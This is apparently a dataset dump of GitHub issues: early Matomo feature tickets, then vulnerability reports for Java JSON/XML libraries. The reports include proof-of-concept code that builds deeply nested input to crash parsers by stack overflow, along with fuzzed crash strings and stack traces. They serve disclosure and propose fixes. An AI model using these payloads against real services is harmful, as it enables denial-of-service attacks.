issue_owner_repo
listlengths
2
2
issue_body
stringlengths
0
262k
issue_title
stringlengths
1
1.02k
issue_comments_url
stringlengths
53
116
issue_comments_count
int64
0
2.49k
issue_created_at
stringdate
1999-03-17 02:06:42
2025-06-23 11:41:49
issue_updated_at
stringdate
2000-02-10 06:43:57
2025-06-23 11:43:00
issue_html_url
stringlengths
34
97
issue_github_id
int64
132
3.17B
issue_number
int64
1
215k
[ "matomo-org", "matomo" ]
The token md5 generation doesn't check that the generated md5 hash is unique, but it should (the field is set as UNIQUE in the database).
md5 generator should check the hash is unique
https://api.github.com/repos/matomo-org/matomo/issues/5430/comments
0
2008-01-03T16:30:21Z
2010-01-29T15:52:01Z
https://github.com/matomo-org/matomo/issues/5430
37,356,080
5,430
[ "matomo-org", "matomo" ]
They should instead be counted as "Direct entry". Note: part of this ticket is also to clarify the UI of what the URLs are used for, and why they are useful. UI should clarify that alias URLs are optional and used only to improve referer detection. If the Piwik JS code is put on a subdomain that is not in the list, the page hits will still be recorded.
referer URLs with host registered as main_url or alias_url should NOT be counted as referer
https://api.github.com/repos/matomo-org/matomo/issues/5429/comments
6
2008-01-03T16:29:41Z
2014-07-08T10:16:38Z
https://github.com/matomo-org/matomo/issues/5429
37,356,079
5,429
[ "matomo-org", "matomo" ]
Currently the Weekly/Monthly/Yearly visitor count is wrong: it adds every unique visitor of each day of the Week/Month/Year. The algorithm needs to be updated with a query selecting, for the given month, the number of unique visitors.
Weekly/Monthly/Yearly unique visitor count is wrong
https://api.github.com/repos/matomo-org/matomo/issues/5428/comments
1
2008-01-03T16:27:43Z
2014-08-03T11:21:09Z
https://github.com/matomo-org/matomo/issues/5428
37,356,078
5,428
[ "matomo-org", "matomo" ]
Otherwise it would be possible to generate fake visits in any piwik install. For example a solution would be to add a simple exit; at the beginning of the scripts. Or not package the scripts with the releases.
protect the Visits Generator script and the phpDocumentor Generator from being triggerable by the browser
https://api.github.com/repos/matomo-org/matomo/issues/5427/comments
1
2008-01-03T16:26:45Z
2014-07-08T10:16:37Z
https://github.com/matomo-org/matomo/issues/5427
37,356,076
5,427
[ "matomo-org", "matomo" ]
Some lines are created for future dates in the tables archive_numeric_\* and it doesn't seem right. Some tests are necessary here.
Lines created in archive_numeric tables for dates in the futures
https://api.github.com/repos/matomo-org/matomo/issues/5426/comments
0
2008-01-03T16:24:56Z
2010-01-29T15:55:40Z
https://github.com/matomo-org/matomo/issues/5426
37,356,075
5,426
[ "matomo-org", "matomo" ]
The information contained in the tables _log_\* should be purged automatically and regularly. Keeping all time logs in a single table significantly slows down the stats logging process (mysql having to rebuild indices, selecting from this million rows table is time consuming, maintenance is hard, etc.). The goal of this task is to provide automatic purge of the tracking logs, every day or every month and with optional backup in a yearly table (customized with UI settings). **Processing uniques over weeks / months without using logs** In #409, we will implement a cookie store mechanism based on a mysql lookup table. This table will contain enough data (idvisitor, ip, idsite, date first visit, date last visit) to process unique visitors over a week or a month **Log purge execution** The purge task would be triggered during the 'Maintenance process' (see #1184), and once a day maximum it would execute and try to purge logs for the day (or month) before. - read settings (purge every day? every month?) - ensure all archives have been processed for the day archives contained in the log tables. Weeks/months are not necessary to be processed as they are the sum of daily archives (and uniques can be processed using the cookie store rather than keeping the full visitor logs for the period) - purge tracker for all websites at once - backs up the logs into a yearly archive table - INSERT INTO log_X_backups_2010 SELECT \* FROM log_X - one backup per purged table (log_visit, log_conversion, etc.) - record the auto increment values (result of SELECT MAX() from log_X) - purge logs (TRUNCATE TABLE) - inserts last auto increment in each table **New Super User admin settings** - Purge traffic logs and process reports at least every day/month - Backup traffic logs into a backup table containing all logs for the year (table is piwik_log_visit_backup2010)? - Could also add admin setting for 'Keep visitor cookies for 1 year' (from #409) A few interesting resources - How to write efficient archiving and purging jobs in SQL http://www.xaprb.com/blog/2006/05/02/how-to-write-efficient-archiving-and-purging-jobs-in-sql/ - MK-archiver tool http://www.maatkit.org/doc/mk-archiver.htm
Tables log_ are not purged after archiving is done
https://api.github.com/repos/matomo-org/matomo/issues/5425/comments
16
2008-01-03T16:24:10Z
2014-07-08T10:16:37Z
https://github.com/matomo-org/matomo/issues/5425
37,356,074
5,425
[ "matomo-org", "matomo" ]
Even if the config file is not directly readable in the web browser, it is much safer to do some encryption here. For example a simple md5 hash.
Super user password must be encrypted in configuration file
https://api.github.com/repos/matomo-org/matomo/issues/5424/comments
0
2008-01-03T16:22:10Z
2012-01-03T21:52:04Z
https://github.com/matomo-org/matomo/issues/5424
37,356,073
5,424
[ "matomo-org", "matomo" ]
The memory usage seems too high during the archiving process. There is need to 1. profile the memory using Xdebug 2. find potential memory leaks during archiving 3. write documentation on how to optimize memory usage so people don't hit php memory limit too often (archive in multiple steps?)
Memory usage too high during archiving process
https://api.github.com/repos/matomo-org/matomo/issues/5423/comments
3
2008-01-03T16:12:26Z
2014-07-08T10:16:36Z
https://github.com/matomo-org/matomo/issues/5423
37,356,072
5,423
[ "PoppingSnack", "VulReport" ]
## Description An StackOverflowError occurs when I execute the ResultConverter.convert2Xml method in hyavijava v6.0.07.1. ## Error Log ``` java.lang.StackOverflowError at java.base/java.lang.StringUTF16.checkBoundsOffCount(StringUTF16.java:1482) at java.base/java.lang.StringUTF16.inflate(StringUTF16.java:1308) at java.base/java.lang.StringLatin1.inflate(StringLatin1.java:734) at java.base/java.lang.AbstractStringBuilder.inflate(AbstractStringBuilder.java:229) at java.base/java.lang.AbstractStringBuilder.putStringAt(AbstractStringBuilder.java:1665) at java.base/java.lang.AbstractStringBuilder.append(AbstractStringBuilder.java:539) at java.base/java.lang.StringBuilder.append(StringBuilder.java:179) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:82) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105) at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84) ``` ## PoC ```xml <dependency> <groupId>com.github</groupId> <artifactId>hyavijava</artifactId> <version>6.0.07.1</version> </dependency> ``` ```java import org.junit.Test; import com.vmware.vim.rest.*; public class ResultConverterFuzzerConvert2Xml { @Test public void convert2XmlFuzzerTest() { try { String result = ResultConverter.convert2Xml("\u0015'\u0015\u0015\u0015\u0015<<tr>\u0015<tr><'\u0015td></ta\u0015'\u0015\u0015td>$</tab</ta\u0015'\u0015\u0015\u0015\u0015<<trbl>ler>\u0015\u0015\uF577\uFFD5<tr><'\u0015$</tabler>\u0015\u0015\uF577\u0015\u0015\u0015<<tr>\u0015<t</td></t\u0015a\u0015'\u0015\u0015\u0015\u0015<<trbl>\u0015<tr><'\u0015$<</tabler>\u0015\u0015\uF555\u0015<<t"); } catch (Exception e) { } } } ```
An StackOverflowError occurs when I execute the ResultConverter.convert2Xml method in hyavijava v6.0.07.1
https://api.github.com/repos/PoppingSnack/VulReport/issues/12/comments
0
2023-12-14T09:31:44Z
2023-12-14T09:31:44Z
https://github.com/PoppingSnack/VulReport/issues/12
2,041,298,213
12
[ "PoppingSnack", "VulReport" ]
# TimeOut occurred when calling ConnectionUtils.hardAssert function ## Description An TimeOut error exists in the ConnectionUtils.hardAssert method in firebase-admin 9.2.0. ## PoC ```xml <dependency> <groupId>com.google.firebase</groupId> <artifactId>firebase-admin</artifactId> <version>9.2.0</version> </dependency> ``` ```java import org.junit.Test; import com.google.firebase.database.connection.*; public class ConnectionUtilsFuzzerHardAssert1 { // timeout @Test public void hardAssertFuzzerTest() { try { ConnectionUtils.hardAssert(false, "555555555%555555555%555555555555555555555555555555555555555", new Object()); } catch (Exception e) { } } } ```
TimeOut occurred when calling ConnectionUtils.hardAssert function
https://api.github.com/repos/PoppingSnack/VulReport/issues/11/comments
0
2023-12-06T03:28:33Z
2023-12-06T03:28:33Z
https://github.com/PoppingSnack/VulReport/issues/11
2,027,577,667
11
[ "PoppingSnack", "VulReport" ]
# Stack overflow error caused by json-lib parsing of untrusted JSON String ## Description Using **json-lib** to parse untrusted JSON String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow. ## Error Log ``` Exception in thread "main" java.lang.StackOverflowError at net.sf.json.JSONArray._fromJSONTokener(JSONArray.java:1111) at net.sf.json.JSONArray.fromObject(JSONArray.java:125) at net.sf.json.util.JSONTokener.nextValue(JSONTokener.java:351) at net.sf.json.JSONArray._fromJSONTokener(JSONArray.java:1131) at net.sf.json.JSONArray.fromObject(JSONArray.java:125) at net.sf.json.util.JSONTokener.nextValue(JSONTokener.java:351) at net.sf.json.JSONArray._fromJSONTokener(JSONArray.java:1131) at net.sf.json.JSONArray.fromObject(JSONArray.java:125) at net.sf.json.util.JSONTokener.nextValue(JSONTokener.java:351) at net.sf.json.JSONArray._fromJSONTokener(JSONArray.java:1131) at net.sf.json.JSONArray.fromObject(JSONArray.java:125) at net.sf.json.util.JSONTokener.nextValue(JSONTokener.java:351) at net.sf.json.JSONArray._fromJSONTokener(JSONArray.java:1131) at net.sf.json.JSONArray.fromObject(JSONArray.java:125) at net.sf.json.util.JSONTokener.nextValue(JSONTokener.java:351) at net.sf.json.JSONArray._fromJSONTokener(JSONArray.java:1131) at net.sf.json.JSONArray.fromObject(JSONArray.java:125) at net.sf.json.util.JSONTokener.nextValue(JSONTokener.java:351) at net.sf.json.JSONArray._fromJSONTokener(JSONArray.java:1131) at net.sf.json.JSONArray.fromObject(JSONArray.java:125) at net.sf.json.util.JSONTokener.nextValue(JSONTokener.java:351) at net.sf.json.JSONArray._fromJSONTokener(JSONArray.java:1131) at net.sf.json.JSONArray.fromObject(JSONArray.java:125) at net.sf.json.util.JSONTokener.nextValue(JSONTokener.java:351) at net.sf.json.JSONArray._fromJSONTokener(JSONArray.java:1131) at net.sf.json.JSONArray.fromObject(JSONArray.java:125) at net.sf.json.util.JSONTokener.nextValue(JSONTokener.java:351) at net.sf.json.JSONArray._fromJSONTokener(JSONArray.java:1131) at net.sf.json.JSONArray.fromObject(JSONArray.java:125) at net.sf.json.util.JSONTokener.nextValue(JSONTokener.java:351) at net.sf.json.JSONArray._fromJSONTokener(JSONArray.java:1131) at net.sf.json.JSONArray.fromObject(JSONArray.java:125) at net.sf.json.util.JSONTokener.nextValue(JSONTokener.java:351) at net.sf.json.JSONArray._fromJSONTokener(JSONArray.java:1131) ``` ## PoC ```xml <dependency> <groupId>net.sf.json-lib</groupId> <artifactId>json-lib</artifactId> <version>2.4</version> </dependency> ``` ```java import net.sf.json.JSONArray; import net.sf.json.JSONObject; import net.sf.json.JSONSerializer; import net.sf.json.util.JSONTokener; /** * JsonFuzzer * * @since 1.0.0 */ public class PoC { public final static int TOO_DEEP_NESTING = 9999; public final static String TOO_DEEP_Array = _nestedDoc(TOO_DEEP_NESTING, "[ ", "] ", "1"); public final static String TOO_DEEP_Object = "{" + _nestedDoc(TOO_DEEP_NESTING, "\"a\": { ", "} ", "1") + "}"; public static String _nestedDoc(int nesting, String open, String close, String content) { StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length())); for (int i = 0; i < nesting; ++i) { sb.append(open); if ((i & 31) == 0) { sb.append("\n"); } } sb.append("\n").append(content).append("\n"); for (int i = 0; i < nesting; ++i) { sb.append(close); if ((i & 31) == 0) { sb.append("\n"); } } return sb.toString(); } public static void main(String[] args) { JSONTokener jsonTokener = new JSONTokener(TOO_DEEP_Array); JSONArray.fromObject(jsonTokener); // JSONTokener jsonTokener = new JSONTokener(TOO_DEEP_Object); // JSONObject.fromObject(jsonTokener); } } ``` ## Rectification Solution 1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b) 2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.((https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027))
Stack overflow error caused by json-lib parsing of untrusted JSON String
https://api.github.com/repos/PoppingSnack/VulReport/issues/10/comments
0
2023-06-25T08:02:44Z
2023-06-25T08:02:44Z
https://github.com/PoppingSnack/VulReport/issues/10
1,773,127,332
10
[ "PoppingSnack", "VulReport" ]
# Stack overflow error caused by tidalwave parsing of untrusted XML String ## Description Using **tidalwave** to parse untrusted XML String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow. ## Error Log ``` Exception in thread "main" java.lang.StackOverflowError at java.base/java.lang.StringBuffer.toString(StringBuffer.java:720) at org.json.me.util.XMLTokener.nextToken(XMLTokener.java:286) at org.json.me.util.XML.parse(XML.java:129) at org.json.me.util.XML.parse(XML.java:242) at org.json.me.util.XML.parse(XML.java:242) at org.json.me.util.XML.parse(XML.java:242) at org.json.me.util.XML.parse(XML.java:242) at org.json.me.util.XML.parse(XML.java:242) at org.json.me.util.XML.parse(XML.java:242) at org.json.me.util.XML.parse(XML.java:242) at org.json.me.util.XML.parse(XML.java:242) at org.json.me.util.XML.parse(XML.java:242) at org.json.me.util.XML.parse(XML.java:242) at org.json.me.util.XML.parse(XML.java:242) at org.json.me.util.XML.parse(XML.java:242) at org.json.me.util.XML.parse(XML.java:242) at org.json.me.util.XML.parse(XML.java:242) at org.json.me.util.XML.parse(XML.java:242) at org.json.me.util.XML.parse(XML.java:242) at org.json.me.util.XML.parse(XML.java:242) at org.json.me.util.XML.parse(XML.java:242) at org.json.me.util.XML.parse(XML.java:242) at org.json.me.util.XML.parse(XML.java:242) at org.json.me.util.XML.parse(XML.java:242) at org.json.me.util.XML.parse(XML.java:242) at org.json.me.util.XML.parse(XML.java:242) at org.json.me.util.XML.parse(XML.java:242) at org.json.me.util.XML.parse(XML.java:242) at org.json.me.util.XML.parse(XML.java:242) ``` ## PoC ```xml <dependency> <groupId>it.tidalwave.bluebill</groupId> <artifactId>json</artifactId> <version>1.0.21</version> </dependency> ``` ```java import org.json.me.JSONException; import org.json.me.util.XML; /** * PoC * * @since 1.0.0 */ public class PoC { public final static int TOO_DEEP_NESTING = 9999; public final static String TOO_DEEP_XML = _nestedDoc(TOO_DEEP_NESTING, "<div>", "</div>", ""); public static String _nestedDoc(int nesting, String open, String close, String content) { StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length())); for (int i = 0; i < nesting; ++i) { sb.append(open); if ((i & 31) == 0) { sb.append("\n"); } } sb.append("\n").append(content).append("\n"); for (int i = 0; i < nesting; ++i) { sb.append(close); if ((i & 31) == 0) { sb.append("\n"); } } return sb.toString(); } public static void main(String[] args) { try { XML.toJSONObject(NestUtil.TOO_DEEP_XML); } catch (JSONException e) { throw new RuntimeException(e); } } } ``` ## Rectification Solution 1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b) 2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.((https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027))
Stack overflow error caused by tidalwave parsing of untrusted XML String
https://api.github.com/repos/PoppingSnack/VulReport/issues/9/comments
0
2023-06-25T07:35:48Z
2023-06-25T07:35:48Z
https://github.com/PoppingSnack/VulReport/issues/9
1,773,118,488
9
[ "PoppingSnack", "VulReport" ]
# Stack overflow error caused by tidalwave parsing of untrusted JSON String ## Description Using **tidalwave** to parse untrusted JSON String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow. ## Error Log ``` Exception in thread "main" java.lang.StackOverflowError at java.base/java.lang.StringLatin1.newString(StringLatin1.java:715) at java.base/java.lang.StringBuffer.toString(StringBuffer.java:720) at org.json.me.JSONTokener.nextString(JSONTokener.java:250) at org.json.me.JSONTokener.nextValue(JSONTokener.java:316) at org.json.me.JSONObject.<init>(JSONObject.java:187) at org.json.me.JSONTokener.nextValue(JSONTokener.java:319) at org.json.me.JSONObject.<init>(JSONObject.java:202) at org.json.me.JSONTokener.nextValue(JSONTokener.java:319) at org.json.me.JSONObject.<init>(JSONObject.java:202) at org.json.me.JSONTokener.nextValue(JSONTokener.java:319) at org.json.me.JSONObject.<init>(JSONObject.java:202) at org.json.me.JSONTokener.nextValue(JSONTokener.java:319) at org.json.me.JSONObject.<init>(JSONObject.java:202) at org.json.me.JSONTokener.nextValue(JSONTokener.java:319) at org.json.me.JSONObject.<init>(JSONObject.java:202) at org.json.me.JSONTokener.nextValue(JSONTokener.java:319) at org.json.me.JSONObject.<init>(JSONObject.java:202) at org.json.me.JSONTokener.nextValue(JSONTokener.java:319) at org.json.me.JSONObject.<init>(JSONObject.java:202) at org.json.me.JSONTokener.nextValue(JSONTokener.java:319) at org.json.me.JSONObject.<init>(JSONObject.java:202) at org.json.me.JSONTokener.nextValue(JSONTokener.java:319) at org.json.me.JSONObject.<init>(JSONObject.java:202) at org.json.me.JSONTokener.nextValue(JSONTokener.java:319) at org.json.me.JSONObject.<init>(JSONObject.java:202) at org.json.me.JSONTokener.nextValue(JSONTokener.java:319) at org.json.me.JSONObject.<init>(JSONObject.java:202) at org.json.me.JSONTokener.nextValue(JSONTokener.java:319) at org.json.me.JSONObject.<init>(JSONObject.java:202) at org.json.me.JSONTokener.nextValue(JSONTokener.java:319) at org.json.me.JSONObject.<init>(JSONObject.java:202) at org.json.me.JSONTokener.nextValue(JSONTokener.java:319) at org.json.me.JSONObject.<init>(JSONObject.java:202) at org.json.me.JSONTokener.nextValue(JSONTokener.java:319) at org.json.me.JSONObject.<init>(JSONObject.java:202) at org.json.me.JSONTokener.nextValue(JSONTokener.java:319) at org.json.me.JSONObject.<init>(JSONObject.java:202) at org.json.me.JSONTokener.nextValue(JSONTokener.java:319) ``` ## PoC ```xml <dependency> <groupId>it.tidalwave.bluebill</groupId> <artifactId>json</artifactId> <version>1.0.21</version> </dependency> ``` ```java import org.json.me.JSONArray; import org.json.me.JSONException; import org.json.me.JSONObject; /** * PoC * * @since 1.0.0 */ public class PoC { public final static int TOO_DEEP_NESTING = 9999; public final static String TOO_DEEP_Array = _nestedDoc(TOO_DEEP_NESTING, "[ ", "] ", "1"); public final static String TOO_DEEP_Object = "{" + _nestedDoc(TOO_DEEP_NESTING, "\"a\": { ", "} ", "1") + "}"; public static String _nestedDoc(int nesting, String open, String close, String content) { StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length())); for (int i = 0; i < nesting; ++i) { sb.append(open); if ((i & 31) == 0) { sb.append("\n"); } } sb.append("\n").append(content).append("\n"); for (int i = 0; i < nesting; ++i) { sb.append(close); if ((i & 31) == 0) { sb.append("\n"); } } return sb.toString(); } public static void main(String[] args) { try { JSONObject jsonObject = new JSONObject(TOO_DEEP_Object); JSONArray jsonArray = new JSONArray(TOO_DEEP_Array); } catch (JSONException e) { throw new RuntimeException(e); } } } ``` ## Rectification Solution 1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b) 2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.((https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027))
Stack overflow error caused by tidalwave parsing of untrusted JSON String
https://api.github.com/repos/PoppingSnack/VulReport/issues/8/comments
0
2023-06-25T07:35:16Z
2023-06-25T07:35:16Z
https://github.com/PoppingSnack/VulReport/issues/8
1,773,118,215
8
[ "PoppingSnack", "VulReport" ]
# Stack overflow error caused by keedio parsing of untrusted XML String ## Description Using **keedio** to parse untrusted XML String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow. ## Error Log ``` Exception in thread "main" java.lang.StackOverflowError at java.base/java.lang.StringLatin1.newString(StringLatin1.java:715) at java.base/java.lang.StringBuffer.toString(StringBuffer.java:720) at org.openx.data.jsonserde.json.XMLTokener.nextToken(XMLTokener.java:284) at org.openx.data.jsonserde.json.XML.parse(XML.java:149) at org.openx.data.jsonserde.json.XML.parse(XML.java:272) at org.openx.data.jsonserde.json.XML.parse(XML.java:272) at org.openx.data.jsonserde.json.XML.parse(XML.java:272) at org.openx.data.jsonserde.json.XML.parse(XML.java:272) at org.openx.data.jsonserde.json.XML.parse(XML.java:272) at org.openx.data.jsonserde.json.XML.parse(XML.java:272) at org.openx.data.jsonserde.json.XML.parse(XML.java:272) at org.openx.data.jsonserde.json.XML.parse(XML.java:272) at org.openx.data.jsonserde.json.XML.parse(XML.java:272) at org.openx.data.jsonserde.json.XML.parse(XML.java:272) at org.openx.data.jsonserde.json.XML.parse(XML.java:272) at org.openx.data.jsonserde.json.XML.parse(XML.java:272) at org.openx.data.jsonserde.json.XML.parse(XML.java:272) at org.openx.data.jsonserde.json.XML.parse(XML.java:272) at org.openx.data.jsonserde.json.XML.parse(XML.java:272) at org.openx.data.jsonserde.json.XML.parse(XML.java:272) at org.openx.data.jsonserde.json.XML.parse(XML.java:272) at org.openx.data.jsonserde.json.XML.parse(XML.java:272) at org.openx.data.jsonserde.json.XML.parse(XML.java:272) at org.openx.data.jsonserde.json.XML.parse(XML.java:272) at org.openx.data.jsonserde.json.XML.parse(XML.java:272) at org.openx.data.jsonserde.json.XML.parse(XML.java:272) at org.openx.data.jsonserde.json.XML.parse(XML.java:272) at org.openx.data.jsonserde.json.XML.parse(XML.java:272) at org.openx.data.jsonserde.json.XML.parse(XML.java:272) at org.openx.data.jsonserde.json.XML.parse(XML.java:272) ``` ## PoC ```xml <dependency> <groupId>org.keedio.openx.data</groupId> <artifactId>json</artifactId> <version>1.3.7.3</version> </dependency> ``` ```java import org.openx.data.jsonserde.json.JSONException; import org.openx.data.jsonserde.json.XML; /** * PoC * * @since 1.0.0 */ public class PoC { public final static int TOO_DEEP_NESTING = 9999; public final static String TOO_DEEP_XML = _nestedDoc(TOO_DEEP_NESTING, "<div>", "</div>", ""); public static String _nestedDoc(int nesting, String open, String close, String content) { StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length())); for (int i = 0; i < nesting; ++i) { sb.append(open); if ((i & 31) == 0) { sb.append("\n"); } } sb.append("\n").append(content).append("\n"); for (int i = 0; i < nesting; ++i) { sb.append(close); if ((i & 31) == 0) { sb.append("\n"); } } return sb.toString(); } public static void main(String[] args) { try { XML.toJSONObject(TOO_DEEP_XML); } catch (JSONException e) { throw new RuntimeException(e); } } } ``` ## Rectification Solution 1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b) 2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.((https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027))
Stack overflow error caused by keedio parsing of untrusted XML String
https://api.github.com/repos/PoppingSnack/VulReport/issues/7/comments
0
2023-06-25T07:34:52Z
2023-06-25T07:34:52Z
https://github.com/PoppingSnack/VulReport/issues/7
1,773,118,089
7
[ "PoppingSnack", "VulReport" ]
# Stack overflow error caused by keedio parsing of untrusted JSON String ## Description Using **keedio** to parse untrusted JSON String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow. ## Error Log ``` Exception in thread "main" java.lang.StackOverflowError at org.openx.data.jsonserde.json.JSONTokener.next(JSONTokener.java:159) at org.openx.data.jsonserde.json.JSONTokener.nextString(JSONTokener.java:259) at org.openx.data.jsonserde.json.JSONTokener.nextValue(JSONTokener.java:371) at org.openx.data.jsonserde.json.JSONObject.<init>(JSONObject.java:205) at org.openx.data.jsonserde.json.JSONTokener.nextValue(JSONTokener.java:374) at org.openx.data.jsonserde.json.JSONObject.<init>(JSONObject.java:218) at org.openx.data.jsonserde.json.JSONTokener.nextValue(JSONTokener.java:374) at org.openx.data.jsonserde.json.JSONObject.<init>(JSONObject.java:218) at org.openx.data.jsonserde.json.JSONTokener.nextValue(JSONTokener.java:374) at org.openx.data.jsonserde.json.JSONObject.<init>(JSONObject.java:218) at org.openx.data.jsonserde.json.JSONTokener.nextValue(JSONTokener.java:374) at org.openx.data.jsonserde.json.JSONObject.<init>(JSONObject.java:218) at org.openx.data.jsonserde.json.JSONTokener.nextValue(JSONTokener.java:374) at org.openx.data.jsonserde.json.JSONObject.<init>(JSONObject.java:218) at org.openx.data.jsonserde.json.JSONTokener.nextValue(JSONTokener.java:374) at org.openx.data.jsonserde.json.JSONObject.<init>(JSONObject.java:218) at org.openx.data.jsonserde.json.JSONTokener.nextValue(JSONTokener.java:374) at org.openx.data.jsonserde.json.JSONObject.<init>(JSONObject.java:218) at org.openx.data.jsonserde.json.JSONTokener.nextValue(JSONTokener.java:374) at org.openx.data.jsonserde.json.JSONObject.<init>(JSONObject.java:218) at 